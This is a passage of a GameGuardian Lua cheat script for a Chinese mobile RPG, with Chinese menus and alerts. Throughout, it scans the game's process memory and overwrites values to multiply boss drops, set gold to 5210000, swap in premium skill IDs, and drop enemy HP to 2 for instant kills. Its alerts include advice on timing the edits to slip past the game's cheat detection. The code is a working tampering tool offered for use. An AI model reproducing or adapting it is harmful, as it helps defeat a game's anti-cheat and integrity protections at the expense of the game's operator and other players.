	 gg.refineNumber("15", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 jxn = gg.getResultCount()
	 jx = gg.getResults(jxn)
	 	 gg.alert("这里呀🌺绝学碎片已开启n🌺开启状态每个boss掉15个n🌺关闭后每个boss掉1个n🌺根据自己需要妥善使用")
	 gg.clearResults()
	 jxkg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 elseif jxkg == "(已开启)这里呀🌺" then
	  for i=1,jxn,1
	  do
      jx[i].value = "1"
      end
	  gg.setValues(jx)
  	  gg.alert("这里呀🌺绝学碎片已关闭🌺n掉落数量调整为1🚫")
  	  jxkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,jxn,1
	  do
      jx[i].value = "15"
      end
	  gg.setValues(jx)
  	  gg.alert("这里呀🌺绝学碎片已开启🌺n掉落数量数量调整为15🌺")
  	  jxkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end

function JYCW()   --精英宠物功能
     if cw == nil then
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("11101~11188;100~5000;6101~6110::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.refineNumber("100~5000", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.getResults(300)
	 gg.editAll("10000", gg.TYPE_DWORD)
     
     gg.clearResults()
	 gg.setRanges(32)
     gg.searchNumber("11101~11138;9001~9056;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 cwn = gg.getResultCount()
	 cw = gg.getResults(cwn)
	 gg.editAll("15", gg.TYPE_DWORD)
      gg.alert("这里呀🌺精英宠物已开启n🌺开启状态每个boss掉15个n🌺关闭后每个boss掉4个n🌺根据自己需要妥善使用")
	 gg.clearResults()
	 cwkg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 elseif cwkg == "(已开启)这里呀🌺" then
	  for i=1,cwn,1
	  do
      cw[i].value = "4"
      end
	  gg.setValues(cw)
  	  gg.alert("这里呀🌺精英宠物已关闭🌺n掉落数量调整为4🚫")
  	  cwkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,cwn,1
	  do
      cw[i].value = "15"
      end
	  gg.setValues(cw)
  	  gg.alert("这里呀🌺精英宠物已开启🌺n掉落数量数量调整为15🌺")
  	  cwkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end

function JYWP()   --精英物品功能
     if wp == nil then
     gg.clearResults()
     gg.setRanges(32)
	 gg.searchNumber("11101~11188;100~10000;0~45;0~200;1;2001~3206;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("100~10000;0~45;0~200;1;1::24", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(1000)
	 gg.editAll("10000;0;0;1;20", gg.TYPE_DWORD)
	 gg.refineNumber("20", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 wpn = gg.getResultCount()
	 wp = gg.getResults(wpn)
	 gg.alert("这里呀🌺精英物品已开启n🌺开启状态每个boss掉20个n🌺关闭后每个boss掉2个n🌺根据自己需要妥善使用")
	 gg.clearResults()
	 wpkg = "(已开启)🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 elseif wpkg == "(已开启)这里呀🌺" then
	  for i=1,wpn,1
	  do
      wp[i].value = "2"
      end
	  gg.setValues(wp)
  	  gg.alert("这里呀🌺精英物品已关闭🌺n掉落数量调整为2🚫")
  	  wpkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,wpn,1
	  do
      wp[i].value = "20"
      end
	  gg.setValues(wp)
  	  gg.alert("这里呀🌺精英物品已开启🌺n掉落数量数量调整为20🌺")
  	  wpkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end

function PTXLD()  --普通修炼丹功能
     if xld == nil then
     gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("10102~10160;200~5000;3106~3111;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("200~5000;3106~3111;1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("10000;3108;15", gg.TYPE_DWORD)
	 gg.refineNumber("15", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 xldn = gg.getResultCount()
	 xld = gg.getResults(xldn)
	 gg.alert("这里呀🌺普通修炼丹已开启n🌺开启状态每个boss掉15个n🌺关闭后每个boss掉1个n🌺根据自己需要妥善使用🌺")
	 gg.clearResults()
	 xldkg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	  elseif xldkg == "(已开启)这里呀🌺" then
	  for i=1,xldn,1
	  do
      xld[i].value = "1"
      end
	  gg.setValues(xld)
  	  gg.alert("这里呀🌺普通修炼丹已关闭🌺n掉落数量调整为1🚫")
  	  xldkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,xldn,1
	  do
      xld[i].value = "15"
      end
	  gg.setValues(xld)
  	  gg.alert("这里呀🌺普通修炼丹已开启🌺n掉落数量数量调整为15🌺")
  	  xldkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end


function YJLY()   --一键绿叶功能
gg.alert("这里呀🌺绿叶请在紫装前面开启否则紫装无效")  	
     if ly1 == nil then
  gg.clearResults()
	 gg.setRanges(32)
     gg.searchNumber("10102~10160;500~5000;1;6001~6010;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.refineNumber("500~5000;1;6001~6010;1::24", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("10000;3;1002;11", gg.TYPE_DWORD)
	 gg.refineNumber("11", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 lyn1 = gg.getResultCount()
	 ly1 = gg.getResults(lyn1)
	 
	 gg.clearResults()
	 gg.setRanges(32)
     gg.searchNumber("10102~10160;500~5000;1;6201~6208;1::37", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.refineNumber("500~5000;1;6201~6208;1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("10000;3;1002;11", gg.TYPE_DWORD)
	 gg.refineNumber("11", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 lyn2 = gg.getResultCount()
	 ly2 = gg.getResults(lyn2)
	 
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("11101~11138;10000;1;6021~6030;1::37", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("1;6021~6030;1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("3;1002;11", gg.TYPE_DWORD)
	 gg.refineNumber("11", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 lyn3 = gg.getResultCount()
	 ly3 = gg.getResults(lyn3)
	 
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("11101~11158;10000;1;6225~6260;1::37", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("1;6225~6260;1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(300)
	 gg.editAll("3;1002;11", gg.TYPE_DWORD)
	 gg.refineNumber("11", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 lyn4 = gg.getResultCount()
	 ly4 = gg.getResults(lyn4)
	 gg.clearResults()
	 lykg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 
	  elseif lykg == "(已开启)这里呀🌺" then
	  for i=1,lyn1,1
	  do
      ly1[i].value = "11"
      end
	  gg.setValues(ly1)
	  for i=1,lyn2,1
	  do
      ly2[i].value = "11"
      end
	  gg.setValues(ly2)
	  for i=1,lyn3,1
	  do
      ly3[i].value = "11"
      end
	  gg.setValues(ly3)
	  for i=1,lyn4,1
	  do
      ly4[i].value = "11"
      end
	  gg.setValues(ly4)
	  gg.alert("这里呀🌺一键绿叶已关闭🚫")
  	  lykg = "(未开启)这里呀🚫"
  	 
  	 else 
  	  for i=1,lyn1,1
	  do
      ly1[i].value = "11"
      end
	  gg.setValues(ly1)
	  for i=1,lyn2,1
	  do
      ly2[i].value = "11"
      end
	  gg.setValues(ly2)
	  for i=1,lyn3,1
	  do
      ly3[i].value = "11"
      end
	  gg.setValues(ly3)
	  for i=1,lyn4,1
	  do
      ly4[i].value = "11"
      end
	  gg.setValues(ly4)
  	  gg.alert("这里呀🌺一键绿叶已开启🌺")
  	  lykg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
gg.searchNumber('10101~11180;10000;1;6251;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
    gg.refineNumber('1;6251;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
    gg.getResults(1000)
    gg.editAll('3;1002;11', gg.TYPE_DWORD)
    gg.clearResults()
     gg.refineNumber("11", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.alert("这里呀🌺一键绿叶已开启🌺")
     gg.clearResults()
end


function LHDL()   --龙魂掉落功能
     if lh == nil then
     gg.clearResults()
     gg.setRanges(32)
	 gg.searchNumber("12301~12350;200~1000;2000~7000;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("200~1000;1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(1000)
	 gg.editAll("10000;15", gg.TYPE_DWORD)
	 gg.refineNumber("15", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 lhn = gg.getResultCount()
	 lh = gg.getResults(lhn)
	 gg.alert("这里呀🌺龙魂掉落已开启n🌺开启状态每个boss掉15个n🌺关闭后每个boss掉3个n🌺根据自己需要妥善使用")
	 gg.clearResults()
	 lhkg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 elseif lhkg == "(已开启)这里呀🌺" then
	  for i=1,lhn,1
	  do
      lh[i].value = "3"
      end
	  gg.setValues(lh)
  	  gg.alert("这里呀🌺龙魂掉落已关闭🌺n掉落数量调整为3🚫")
  	  lhkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,lhn,1
	  do
      lh[i].value = "15"
      end
	  gg.setValues(lh)
  	  gg.alert("这里呀🌺龙魂掉落已开启🌺n掉落数量数量调整为15🌺")
  	  lhkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end

function SYML()   --脉络丹掉落功能
     if mld == nil then
     gg.clearResults()
     gg.setRanges(32)
	 gg.searchNumber("11101~20001;5000~8500;2803;1~4::37", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("5000~8500;1~4;1~4", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(1000)
	 gg.editAll("10000;40;40", gg.TYPE_DWORD)
	 gg.refineNumber("40", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 mldn = gg.getResultCount()
	 mld = gg.getResults(mldn)
	 gg.alert("这里呀🌺脉络丹掉落已开启n🌺开启状态每个boss掉40个n🌺关闭后每个boss掉4个n🌺根据自己需要妥善使用")
	 gg.clearResults()
	 mldkg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 elseif mldkg == "(已开启)这里呀🌺" then
	  for i=1,mldn,1
	  do
      mld[i].value = "4"
      end
	  gg.setValues(mld)
  	  gg.alert("这里呀🌺脉络丹掉落已关闭🌺n掉落数量数量调整为4🚫")
  	  mldkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,mldn,1
	  do
      mld[i].value = "40"
      end
	  gg.setValues(mld)
  	  gg.alert("这里呀🌺脉络丹掉落已开启🌺n掉落数量调整为40🌺")
  	  mldkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end

function SYLY()   --龙吟瓶掉落功能
     if lyp == nil then
     gg.clearResults()
     gg.setRanges(32)
	 gg.searchNumber("11101~20001;5000~8500;2037;1~4::37", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber("5000~8500;1~4;1~4", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(1000)
	 gg.editAll("10000;30;30", gg.TYPE_DWORD)
	 gg.refineNumber("30", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 lypn = gg.getResultCount()
	 lyp = gg.getResults(lypn)
	 gg.alert("这里呀🌺龙吟瓶掉落已开启n🌺开启状态每个boss掉20个n🌺关闭后每个boss掉2个n🌺根据自己需要妥善使用🌺")
	 gg.clearResults()
	 lypkg = "(已开启)这里呀🌺"
	 zkg1 = "关闭"
	 zkg2 = "这里呀🚫"
	 
	 elseif lypkg == "(已开启)这里呀🌺" then
	  for i=1,lypn,1
	  do
      lyp[i].value = "3"
      end
	  gg.setValues(lyp)
  	  gg.alert("这里呀🌺龙吟瓶掉落已关闭🌺n掉落数量数量调整为3🚫")
  	  lypkg = "(未开启)这里呀🚫"
  	 else 
  	  for i=1,lypn,1
	  do
      lyp[i].value = "30"
      end
	  gg.setValues(lyp)
  	  gg.alert("这里呀🌺龙吟瓶掉落已开启🌺n掉落数量数量调整为30🌺")
  	  lypkg = "(已开启)这里呀🌺"
  	  zkg1 = "关闭"
	  zkg2 = "这里呀🚫"
	 end
end


function GFJB()   --国服金币功能
     gg.alert("这里呀🌺每个地图有上限n请不要打死怪🏁n打死怪开启无效⚠️n🌺一局一开🌺")
     gg.clearResults()	 
     gg.setRanges(32)
     gg.searchNumber("1;-2147483648~-1;-2147483648~-1;0;2~500;-2147483648~-1::21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.refineNumber("0",gg.TYPE_DWORD,false,gg.SIGN_EQUAL)	
local n = gg.getResultCount()
     gg.getResults(n)     
     gg.editAll("5210000", gg.TYPE_DWORD)
     gg.alert("这里呀🌺金币修改成功🌺")
	 gg.clearResults()
end
--[[
function GFJB()   --国服金币功能
     gg.clearResults()	 
     gg.setRanges(32)
     gg.searchNumber("1.0F;1D;-2147483648~-1D;0D;1D::24", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.refineNumber("1",gg.TYPE_FLOAT,false,gg.SIGN_EQUAL)	
local n = gg.getResultCount()
local jz = gg.getResults(n)         
     for i = 1, n do     
     gg.setValues({[1] = {address = jz[i].address + 128, flags = gg.TYPE_DWORD, value = 5210000 } })    
     end   
     gg.alert("这里呀🌺金币修改成功🌺")
     gg.clearResults()	 
end
]]--
function  Main30()  --副菜单3(人物攻击改为技能)
     if t==nil then        --判断t表是否有值
     gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("1004;1004;1003;1003;1002;1002;1001;1001::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 local pd=gg.choice({"剑","弩","扇","刀"},nil,"请选择你使用的武器")
	 if pd==nil then return end
     gg.refineNumber((1000+pd),gg.TYPE_DWORD,false,gg.SIGN_EQUAL,0, -1)
     tn=gg.getResultCount()  --tn为t表长度
     t=gg.getResults(tn)     --t存放人物技能数据
     gg.addListItems(t)      --加入保存列表，方便手动修改与检查
	 gg.clearResults()
	 rwgjkg = "(开)这里呀🌺"      --人物攻击开关开启
	 end
SN = gg.choice({
	 "这里呀🌺排山倒海【典藏】 "..rwgj[1],
	 "这里呀🌺九星降世【典藏】 "..rwgj[2],
	 "这里呀🌺龙飞凤舞【典藏】 "..rwgj[3],
	 "这里呀🌺无形之刃【典藏】 "..rwgj[4],
	 "这里呀🌺势如破竹【典藏】 "..rwgj[5],
	 "这里呀🌺惊魂摄魄【典藏】 "..rwgj[6],
	 "这里呀🌺连环爆裂 (推荐) "..rwgj[7],
	 "这里呀🌺天下九剑 (高伤) "..rwgj[8],
	 "这里呀🌺冰封千里 (快速) "..rwgj[9],
	 "这里呀🌺地爆天星 (全图) "..rwgj[10],
	 "这里呀🌺六方盾墙 (击退) "..rwgj[11],
	 "这里呀🌺幽冥玄冰 (新出) "..rwgj[12],
	 "这里呀🌺狮子怒吼 (消弹) "..rwgj[13],
	 "这里呀🌺剑落星河 (沉默) "..rwgj[14],
	 "这里呀🌺巫蛊缠身 (窒息) "..rwgj[15],
	 "这里呀🌺苍龙吐息 (沉默) "..rwgj[16],
	 "这里呀🌺万箭穿心 (超炫酷) "..rwgj[17],
	 "这里呀🌺裂变决 (鸡肋) "..rwgj[18],
	 "这里呀🌺火遁火神剑 "..rwgj[19],
	 "        返回",
	 "             退出",
}, nil, "新增火遁✅n雷霆嘎巴！无情哈拉少✡")
    if SN ~=nil then 
    rwgjcz()      --显示菜单选择
    if SN<=19 then rwgj[SN] = "这里呀🌺" end
    if SN==1 then
	 for i=1,tn,1   --依次改写t表的值
	 do
     t[i].value = "20001"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺排山倒海开启成功这里呀🌺")
elseif SN==2 then
	 for i=1,tn,1
	 do
     t[i].value = "20003"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺九星降世开启成功这里呀🌺")
elseif SN==3 then
	 for i=1,tn,1
	 do
     t[i].value = "20005"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺龙飞凤舞开启成功这里呀🌺")
elseif SN==4 then
	 for i=1,tn,1
	 do
     t[i].value = "20002"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺无形之刃开启成功这里呀🌺")
 elseif SN==5 then
	 for i=1,tn,1  
	 do
     t[i].value = "20006"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺势如破竹开启成功这里呀🌺")
elseif SN==6 then
     for i=1,tn,1
     do
     t[i].value = '20007'
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺惊魂摄魄开启成功这里呀🌺")
    elseif SN==7 then
	 for i=1,tn,1  
	 do
     t[i].value = "10015"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺连环爆裂开启成功这里呀🌺")
elseif SN==8 then
     for i=1,tn,1
     do
     t[i].value = '10008'
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺天下九剑开启成功这里呀🌺")
elseif SN==9 then
     for i=1,tn,1
     do
     t[i].value = "10010"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺冰封千里开启成功这里呀🌺")
elseif SN==10 then
	 for i=1,tn,1
	 do
     t[i].value = "10013"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺地爆天星开启成功这里呀🌺")
elseif SN==11 then
	 for i=1,tn,1
	 do
     t[i].value = "10016"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺六方盾墙开启成功这里呀🌺")
elseif SN==12 then
	 for i=1,tn,1
	 do
     t[i].value = "10018"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺幽冥玄冰开启成功这里呀🌺")
elseif SN==13 then
	 for i=1,tn,1
	 do
     t[i].value = "10004"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺狮子怒吼开启成功这里呀🌺")
elseif SN==14 then
	 for i=1,tn,1
	 do
     t[i].value = "10011"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺剑落星河开启成功这里呀🌺")
elseif SN==15 then
     for i=1,tn,1
     do
     t[i].value = '10021'
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺巫蛊缠身开启成功这里呀🌺")
elseif SN==16 then
     for i=1,tn,1
     do
     t[i].value = "10020"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺苍龙吐息开启成功这里呀🌺")
	 elseif SN==17 then
     for i=1,tn,1
     do
     t[i].value = '10022'
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺万箭穿心开启成功这里呀🌺")
elseif SN==18 then
     for i=1,tn,1
     do
     t[i].value = "10023"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺裂变决开启成功这里呀🌺")
elseif SN==19 then
     for i=1,tn,1
     do
     t[i].value = "10025"
     end
	 gg.setValues(t)
	 gg.alert("这里呀🌺火遁火神剑开启成功这里呀🌺")

elseif SN==20 then
	 FH()
elseif SN==21 then
	 TC()
end end
XGCK = -1
end

function rwgjcz()   --人物攻击重置功能
     for i=1, 20, 1 do
     rwgj[i] = "这里呀🌺"
     end
end


function  Main40()   --副菜单4(宠物技能)
     if p==nil then  
     gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("4004;4004;4003;4003;4002;4002;4001;4001::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     pn=gg.getResultCount()     
     p=gg.getResults(pn)   --p表保存宠物技能
	 gg.addListItems(p)
	 gg.clearResults()
	 cwgjkg = "(开)这里呀🌺"      --宠物攻击开关开启
	 end
SN = gg.choice({
	 "这里呀🌺青鸾烈火 (宠物) "..cwgj[1],
	 "这里呀🌺狸猫之锤 (宠物) "..cwgj[2],
	 "这里呀🌺冰封千里 (全图) "..cwgj[3],
	 "这里呀🌺六方盾墙 (击退) "..cwgj[4],
	 "这里呀🌺连环爆裂 (连锁) "..cwgj[5],
	 "这里呀🌺幽冥玄冰 (新出) "..cwgj[6],
	 "这里呀🌺狮子怒吼 (消弹) "..cwgj[7],
	 "这里呀🌺剑落星河 (沉默) "..cwgj[8],
	 "这里呀🌺排山倒海【典藏】"..cwgj[9],
	 "这里呀🌺九星降世【典藏】"..cwgj[10],
	 "这里呀🌺龙飞凤舞【典藏】"..cwgj[11],
	 "这里呀🌺无形之刃【典藏】"..cwgj[12],
	 "        返回",
	 "             退出",
}, nil, "点击更换技能即时生效这里呀🌺")
     if SN ~=nil then 
     cwgjcz()
     if SN<=12 then cwgj[SN] = "这里呀🌺" end
     if SN==1 then
     for i=1,pn,1
     do
     p[i].value = '4006'
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺青鸾烈火开启成功这里呀🌺")
elseif SN==2 then
     for i=1,pn,1
     do
     p[i].value = "4005"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺狸猫之锤开启成功这里呀🌺")
elseif SN==3 then
	 for i=1,pn,1
	 do
     p[i].value = "10010"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺冰封千里开启成功这里呀🌺")
elseif SN==4 then
	 for i=1,pn,1
	 do
     p[i].value = "10016"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺六方盾墙开启成功这里呀🌺")
elseif SN==5 then
	 for i=1,pn,1
	 do
     p[i].value = "10015"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺连环爆裂开启成功这里呀🌺")
elseif SN==6 then
	 for i=1,pn,1
	 do
     p[i].value = "10018"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺幽冥玄冰开启成功这里呀🌺")
elseif SN==7 then
	 for i=1,pn,1
	 do
     p[i].value = "10004"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺狮子怒吼开启成功这里呀🌺")
elseif SN==8 then
	 for i=1,pn,1
	 do
     p[i].value = "10011"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺剑落星河开启成功这里呀🌺")
elseif SN==9 then
	 for i=1,pn,1
	 do
     p[i].value = "20001"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺排山倒海开启成功这里呀🌺")
elseif SN==10 then
	 for i=1,pn,1
	 do
     p[i].value = "20003"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺九星降世开启成功这里呀🌺")
elseif SN==11 then
	 for i=1,pn,1
	 do
     p[i].value = "20005"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺龙飞凤舞开启成功这里呀🌺")
elseif SN==12 then
	 for i=1,pn,1
	 do
     p[i].value = "20002"
     end
	 gg.setValues(p)
	 gg.alert("这里呀🌺无形之刃开启成功这里呀🌺")
elseif SN==13 then
	 FH()
elseif SN==14 then
	 TC()
end end
XGCK = -1
end

function cwgjcz()   --宠物攻击重置功能
for i=1, 12, 1 do
cwgj[i] = "这里呀🌺"
end
end

function  Main2()   --熊猫功能区
SN = gg.choice({
	 "这里呀🌺一键全屏秒杀穿墙 "..tfmskg,	 
	 "这里呀🌺全图秒杀 "..tfmskg,	 
	 "这里呀🌺熊猫物品 ",
	 "这里呀🌺实用功能 ",
	 "返回上一层",
}, nil, "请勿倒卖这里呀🚫有问题及时反馈n脚本的使用帮助能解决％99的用户问题🌺n仔细观看n新旧取其中一个开启⚠️n不要俩个都开💟")
    if SN==1 then
	 TFMS()
	 elseif SN==2 then
	  TFMS2()
	 elseif SN==3 then
	  DJWP()
	  elseif SN==4 then
	  MainXM()
elseif SN==5 then
	 FH()
end
XGCK = -1
end
function TFMS()                       --台服秒杀功能
        if tfmskg == "(关)这里呀🚫" then     --判断是否开启过
	 pd=gg.alert('进图见怪暂停等待开启完！退出副本再进即可生效！',"看完点我","取消")
     if pd == 1 then
	  gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("65536~65793;80~999999999;0;0;1;50~20000000::21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("2~999999999", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100000)
	 gg.editAll("2", gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("21;7274563::5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("7274563", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.editAll("7274562", gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("1004;1004;1003;1003;1002;1002;1001;1001::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.editAll("20001", gg.TYPE_DWORD)
	 gg.alert("这里呀🌺修改成功进入下一关或者退出游戏再进即可看到效果ʚ❤ɞ🌺如果想换其他技能请退游戏单独开技能🌺")
	 gg.clearResults()
	 tfmskg="(开)这里呀🌺"      --台服秒杀开关开启
	 else
	  Main0()
	 end
	 else
     gg.alert('已开启，无需重复开启ʚ❤ɞ')
     end
end
function TFMS2()                       --台服秒杀功能
        if tfmskg == "(关)这里呀🚫" then     --判断是否开启过
	 pd=gg.alert('这里呀🚫进图见怪暂停等待开启完！n🚫退出副本再进即可生效！',"看完点我","取消")
     if pd == 1 then
	  gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("65536~65793;80~999999999;0;0;1;50~20000000::21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("2~999999999", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100000)
	 gg.editAll("2", gg.TYPE_DWORD)
	 gg.alert("修改成功n进入下一关或者退出游戏再进即可看到效果ʚ❤ɞ")
	 gg.clearResults()
	 tfmskg="(开)这里呀🌺"      --台服秒杀开关开启
	 else
	  Main0()
	 end
	 else
     gg.alert('已开启，无需重复开启ʚ❤ɞ')
     end
end

function  DJWP()     --熊猫物品

QpN = gg.multiChoice({
 '金币',
	  '风行果(普通困难都可以)',
	   '混元丹(普通困难都可以)',
	    '仙玉(普通有效果)',
	     '鼻炎莲(普通困难都可以)',
	      '新一键紫装(困难开启)',
	      	     '宠物掉落(困难开启)',
	      	     '内丹秘印(困难开启)',
	      	     '丹魂秘印(困难开启)',
	      	     '深渊紫装',
	      	     '深渊小怪掉落物品(有检测不能开)',
	      	     '深渊自定义修改1',
	      	      '深渊自定义修改2',
	 '返回功能区',
}, nil, '增加爆率最多开启3个 多了可能会不出物品。️n除紫装和宠物在困难图开启以外，其余普通图开启。n检测时请清掉倒数第二关怪后开启！🙏n部分图一些材料不会出，请谅解！️')
if  QpN[1]== true then
	 xbbl()
 end
if  QpN[2]== true then
	 fxg()
end	 
if  QpN[3]==true then
	 hyd()
end
if  QpN[4]==true then
	 xypt()
end	 
if  QpN[5]==true then
	 clg()
end	 
if  QpN[6]==true then
	 djzz()	 
end	 
if  QpN[7]==true then
	 jbbl()	 
end	 
if  QpN[8]==true then
	 NDMY()
end
if  QpN[9]==true then
	 DHMY()
end
if  QpN[10]==true then
	 xmsyzz()
end
if  QpN[11]==true then
	 syxgwp()
end
if  QpN[12]==true then
	 zdyxg1()
end
if  QpN[13]==true then
	 zdyxg2()
end
if  QpN[14]==true then
	 FH()
end
FX1 = -1
end
function xbbl()	
     gg.toast("每个地图有上限n有检测最后一关减速到0.1后开启n打死最后boss即可️n一局一开")
     gg.clearResults()	 
     gg.setRanges(32)
     gg.searchNumber("1;-2147483648~-1;-2147483648~-1;0;2~500;-2147483648~-1::21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.refineNumber("0",gg.TYPE_DWORD,false,gg.SIGN_EQUAL)	
local n = gg.getResultCount()
     gg.getResults(n)     
     gg.editAll("5210000", gg.TYPE_DWORD)
     gg.toast("金币修改成功")
